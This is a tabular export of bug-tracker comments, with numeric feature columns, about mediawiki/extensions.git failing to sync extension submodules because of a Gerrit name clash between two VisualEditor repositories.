254233,mediawiki/extensions.git does not update some extensions,Assigning to self and moving to CI,,,1389652979,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,4.0,0.8571428571428571,Assigning to self and moving to CI
254227,mediawiki/extensions.git does not update some extensions,"The root cause is that there are two Gerrit projects being named VisualEditor and there is a bug in Gerrit that get it confused about that and break the automatic update of mediawiki/extensions.git

To restore automatic update, we would need to register the extensions locally by iterating over `gerrit ls-projects -p mediawiki/extensions/` and then use git `submodule update --init` as we did previously.",,,1389652459,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,14.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,14.0,10.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,4.555555555555555,0.8095238095238095,"The root cause is that there are two Gerrit projects being named VisualEditor and there is a bug in Gerrit that get it confused about that and break the automatic update of mediawiki/extensions.git

To restore automatic update, we would need to register the extensions locally by iterating over CODE and then use git CODE as we did previously."
254220,mediawiki/extensions.git does not update some extensions,Re-opening rather than having a fork in bug 59758.,,,1389149782,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.5,1.0,Re-opening rather than having a fork in bug 59758.
254213,mediawiki/extensions.git does not update some extensions,*** Bug 59758 has been marked as a duplicate of this bug. ***,,,1389149751,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 59758 has been marked as a duplicate of this bug. ***
254206,mediawiki/extensions.git does not update some extensions,"happened again, see bug 59758",,,1389084905,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,"happened again, see bug 59758"
254198,mediawiki/extensions.git does not update some extensions,"(In reply to comment #21)
> Does anybody plan to investigate on this ticket? 
> Or is this ""working for us"" right now? 
> 
> Wondering if this should still be open, and what's the way forward.

The problem was that there was more than one git repos on gerrit called ""VisualEditor"" (namely, mediawiki/extensions/VisualEditor.git and VisualEditor.git with its subsidiaries VisualEditor/core.git, VisualEditor/plugins/<foo>.git etc.). We created the other repos to move the code out of MW and make VE properly stand-alone and shippable, but thought we have split the code, we hadn't yet moved the core of VE into the new repo).

As a quick hack, Chad deleted the extra repos, which seems to have fixed everything, which means the issue is fixed (and has a known cause), but this isn't sustainable in the longer term as we will likely want to actually do the repo split some time soon (though we could work around the restriction on repo names)…

Marking as ""FIXED"", but it's more like ""AVOIDED AT SOME COST"".",,,1378225794,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,9,,1.0,0.5,0.0,0.5,1.0,5.5,1.0,0.0,0.5,0.0,3.0,1.0,0.0,0.0,0.5,2.5,0.0,4.5,11.5,0.5,2.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.5,0.5,0.0,3.5,1.5,1.0,1.0,0.0,0.5,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,11.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,6.5,2.0,11.5,1.0,3.5,9.5,0.0,0.0,0.0,0.5,4.0,0.0,1.0,0.0,3.5,11.5,7.0,0.0,3.0,0.0,3.5,0.0,1.0,1.0,0.0,0.5,1.5,0.0,1.5,3.815076754385965,0.7016447368421053,"(In reply to comment #21)
QUOTE
QUOTE
QUOTE
QUOTE

The problem was that there was more than one git repos on gerrit called ""VisualEditor"" (namely, mediawiki/extensions/VisualEditor.git and VisualEditor.git with its subsidiaries VisualEditor/core.git, VisualEditor/plugins/<foo>.git etc.). We created the other repos to move the code out of MW and make VE properly stand-alone and shippable, but thought we have split the code, we hadn't yet moved the core of VE into the new repo).

As a quick hack, Chad deleted the extra repos, which seems to have fixed everything, which means the issue is fixed (and has a known cause), but this isn't sustainable in the longer term as we will likely want to actually do the repo split some time soon (though we could work around the restriction on repo names)…

Marking as ""FIXED"", but it's more like ""AVOIDED AT SOME COST""."
254190,mediawiki/extensions.git does not update some extensions,"Does anybody plan to investigate on this ticket? 
Or is this ""working for us"" right now? 

Wondering if this should still be open, and what's the way forward.",,,1378204152,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,9,,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,11.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,3.0,5.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,0.0,5.0,5.0,0.0,3.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.5405405405405403,0.8918918918918919,"Does anybody plan to investigate on this ticket? 
Or is this ""working for us"" right now? 

Wondering if this should still be open, and what's the way forward."
254185,mediawiki/extensions.git does not update some extensions,VisualEditor is finally working. I hope. I pray.,,,1376592201,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.727272727272727,0.7272727272727273,VisualEditor is finally working. I hope. I pray.
254180,mediawiki/extensions.git does not update some extensions,I'm beginning to think this thing is totally broken and a waste of time to use.,,,1374253962,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,I'm beginning to think this thing is totally broken and a waste of time to use.
254175,mediawiki/extensions.git does not update some extensions,"Sorry DataTypes was dirty in my local copy. That caused git to not update the remaining extensions.  It chokes currently on:


Cloning into 'ValueFormatters'...
remote: Counting objects: 4, done
remote: Finding sources: 100% (4/4)
remote: Getting sizes: 100% (3/3)
remote: Total 4 (delta 0), reused 4 (delta 0)
Unpacking objects: 100% (4/4), done.
Submodule path 'ValueFormatters': checked out 'b466dde64555d82fcefcdd0b1fe838de2e3acada'
fatal: Needed a single revision
Unable to find current revision in submodule path 'ValueParsers'",,,1374232184,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.5,4.5,0.5,0.0,0.0,0.0,1.5,6.0,0.0,0.0,0.0,0.5,0.0,1.0,4.5,0.0,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,7.0,0.0,1.0,4.5,5.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,3.8524590163934427,0.6885245901639344,"Sorry DataTypes was dirty in my local copy. That caused git to not update the remaining extensions.  It chokes currently on:


Cloning into 'ValueFormatters'...
remote: Counting objects: 4, done
remote: Finding sources: 100% (4/4)
remote: Getting sizes: 100% (3/3)
remote: Total 4 (delta 0), reused 4 (delta 0)
Unpacking objects: 100% (4/4), done.
Submodule path 'ValueFormatters': checked out 'b466dde64555d82fcefcdd0b1fe838de2e3acada'
fatal: Needed a single revision
Unable to find current revision in submodule path 'ValueParsers'"
254168,mediawiki/extensions.git does not update some extensions,"It is apparently totally broken right now. The check-sync.sh script reports a lot of extensions has not being up to date :/


ERROR! DataTypes is lagging behind.
ERROR! DataValues is lagging behind.
ERROR! DidYouKnow is lagging behind.
ERROR! Diff is lagging behind.
ERROR! DisableAccount is lagging behind.
ERROR! Disambiguator is lagging behind.
ERROR! DonationInterface is lagging behind.
ERROR! Duplicator is lagging behind.
ERROR! EImage is lagging behind.
ERROR! Echo is lagging behind.
ERROR! EducationProgram is lagging behind.
ERROR! EventLogging is lagging behind.
ERROR! ExtensionDistributor is lagging behind.
ERROR! GettingStarted is lagging behind.
ERROR! GlobalBlocking is lagging behind.
ERROR! GuidedTour is lagging behind.
ERROR! Hovergallery is lagging behind.
ERROR! InlineCategorizer is lagging behind.
ERROR! Insider is lagging behind.
ERROR! LiquidThreads is lagging behind.
ERROR! Maps is lagging behind.
ERROR! MarkAsHelpful is lagging behind.
ERROR! Math is lagging behind.
ERROR! MobileFrontend is lagging behind.
ERROR! MoodBar is lagging behind.
ERROR! Mpdf is lagging behind.
ERROR! OAuth is lagging behind.
ERROR! Parsoid is lagging behind.
ERROR! PdfExport is lagging behind.
ERROR! PdfHandler is lagging behind.
ERROR! PerPageLicense is lagging behind.
ERROR! PronunciationRecording is lagging behind.
ERROR! RelatedArticles is lagging behind.
ERROR! RevisionCommentSupplement is lagging behind.
ERROR! SecurePoll is lagging behind.
ERROR! SemanticMediaWiki is lagging behind.
ERROR! Thanks is lagging behind.
ERROR! TimedMediaHandler is lagging behind.
ERROR! Translate is lagging behind.
ERROR! TwnMainPage is lagging behind.
ERROR! UniversalLanguageSelector is lagging behind.
ERROR! UploadWizard is lagging behind.
ERROR! ValueFormatters is lagging behind.
ERROR! ValueParsers is lagging behind.
ERROR! ValueValidators is lagging behind.
ERROR! ValueView is lagging behind.
ERROR! Vector is lagging behind.
ERROR! WikiEditor is lagging behind.
ERROR! Wikibase is lagging behind.
ERROR! WikibaseDataModel is lagging behind.
ERROR! WikibaseDatabase is lagging behind.
ERROR! WikibaseQuery is lagging behind.
ERROR! WikibaseQueryEngine is lagging behind.
ERROR! WikimediaMaintenance is lagging behind.
ERROR! WikimediaMessages is lagging behind.
ERROR! ZeroRatedMobileAccess is lagging behind.",,,1374228032,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.2,0.2,0.2,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.4,0.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.4,0.0,0.0,0.0,12.0,0.0,0.2,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.4,0.0,0.0,0.0,0.0,0.0,2.8,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,0.4,11.8,23.0,0.0,0.0,0.4,0.0,0.2,11.4,0.0,0.0,0.0,0.0,0.0,0.2,0.6,20.2,0.0,0.0,0.0,0.2,0.0,0.0,0.2,0.0,11.4,0.0,0.0,0.0,4.420739081746921,0.2395744680851064,"It is apparently totally broken right now. The check-sync.sh script reports a lot of extensions has not being up to date :/


ERROR! DataTypes is lagging behind.
ERROR! DataValues is lagging behind.
ERROR! DidYouKnow is lagging behind.
ERROR! Diff is lagging behind.
ERROR! DisableAccount is lagging behind.
ERROR! Disambiguator is lagging behind.
ERROR! DonationInterface is lagging behind.
ERROR! Duplicator is lagging behind.
ERROR! EImage is lagging behind.
ERROR! Echo is lagging behind.
ERROR! EducationProgram is lagging behind.
ERROR! EventLogging is lagging behind.
ERROR! ExtensionDistributor is lagging behind.
ERROR! GettingStarted is lagging behind.
ERROR! GlobalBlocking is lagging behind.
ERROR! GuidedTour is lagging behind.
ERROR! Hovergallery is lagging behind.
ERROR! InlineCategorizer is lagging behind.
ERROR! Insider is lagging behind.
ERROR! LiquidThreads is lagging behind.
ERROR! Maps is lagging behind.
ERROR! MarkAsHelpful is lagging behind.
ERROR! Math is lagging behind.
ERROR! MobileFrontend is lagging behind.
ERROR! MoodBar is lagging behind.
ERROR! Mpdf is lagging behind.
ERROR! OAuth is lagging behind.
ERROR! Parsoid is lagging behind.
ERROR! PdfExport is lagging behind.
ERROR! PdfHandler is lagging behind.
ERROR! PerPageLicense is lagging behind.
ERROR! PronunciationRecording is lagging behind.
ERROR! RelatedArticles is lagging behind.
ERROR! RevisionCommentSupplement is lagging behind.
ERROR! SecurePoll is lagging behind.
ERROR! SemanticMediaWiki is lagging behind.
ERROR! Thanks is lagging behind.
ERROR! TimedMediaHandler is lagging behind.
ERROR! Translate is lagging behind.
ERROR! TwnMainPage is lagging behind.
ERROR! UniversalLanguageSelector is lagging behind.
ERROR! UploadWizard is lagging behind.
ERROR! ValueFormatters is lagging behind.
ERROR! ValueParsers is lagging behind.
ERROR! ValueValidators is lagging behind.
ERROR! ValueView is lagging behind.
ERROR! Vector is lagging behind.
ERROR! WikiEditor is lagging behind.
ERROR! Wikibase is lagging behind.
ERROR! WikibaseDataModel is lagging behind.
ERROR! WikibaseDatabase is lagging behind.
ERROR! WikibaseQuery is lagging behind.
ERROR! WikibaseQueryEngine is lagging behind.
ERROR! WikimediaMaintenance is lagging behind.
ERROR! WikimediaMessages is lagging behind.
ERROR! ZeroRatedMobileAccess is lagging behind."
254164,mediawiki/extensions.git does not update some extensions,*** Bug 51635 has been marked as a duplicate of this bug. ***,,,1374228000,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51635 has been marked as a duplicate of this bug. ***
254157,mediawiki/extensions.git does not update some extensions,*** Bug 48893 has been marked as a duplicate of this bug. ***,,,1374227951,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48893 has been marked as a duplicate of this bug. ***
254150,mediawiki/extensions.git does not update some extensions,"Change 73736 merged by Hashar:
update VisualEditor to latest master

https://gerrit.wikimedia.org/r/73736",,,1373881472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.071428571428571,1.0,"Change 73736 merged by Hashar:
update VisualEditor to latest master

GERRIT_URL"
254142,mediawiki/extensions.git does not update some extensions,"Change 73736 had a related patch set uploaded by Hashar:
update VisualEditor to latest master

https://gerrit.wikimedia.org/r/73736",,,1373881426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,4.842105263157895,1.0,"Change 73736 had a related patch set uploaded by Hashar:
update VisualEditor to latest master

GERRIT_URL"
254134,mediawiki/extensions.git does not update some extensions,I hate life.,,,1373521899,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,I hate life.
254130,mediawiki/extensions.git does not update some extensions,"Got broken again a couple hours ago:

*   ac6c10d - (origin/master, origin/HEAD) Merge ""Bind listener to key...
|\  
| * 31104d5 - Bind listener to keyup to capture arrows & better ma...
* |   877463e - (HEAD) Merge ""Add hooks and classes, initially to s...

which shows HEAD not pointing to the same commit as origin/HEAD :(",,,1373491637,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,3.3292682926829267,0.6585365853658537,"Got broken again a couple hours ago:

*   ac6c10d - (origin/master, origin/HEAD) Merge ""Bind listener to key...
|\  
| * 31104d5 - Bind listener to keyup to capture arrows & better ma...
* |   877463e - (HEAD) Merge ""Add hooks and classes, initially to s...

which shows HEAD not pointing to the same commit as origin/HEAD :("
254126,mediawiki/extensions.git does not update some extensions,"Worked around (decreasing priority), but keeping this open as it might bite us again (as bug 49906 is still open).",,,1372775601,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,3.6538461538461537,0.8461538461538461,"Worked around (decreasing priority), but keeping this open as it might bite us again (as bug 49906 is still open)."
254122,mediawiki/extensions.git does not update some extensions,"I fixed it before.

Now I've fixed it once again.

This is annoying.",,,1372695781,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0526315789473686,0.6842105263157895,"I fixed it before.

Now I've fixed it once again.

This is annoying."
254119,mediawiki/extensions.git does not update some extensions,"Setting Importance etc since today is ""D Day"" for Visual Editor on ENWiki. Would be great to have betalabs running up to date VE on the day we roll out to a large audience :)",,,1372694917,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,24.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,24.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,24.0,16.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,3.6842105263157894,0.8947368421052632,"Setting Importance etc since today is ""D Day"" for Visual Editor on ENWiki. Would be great to have betalabs running up to date VE on the day we roll out to a large audience :)"
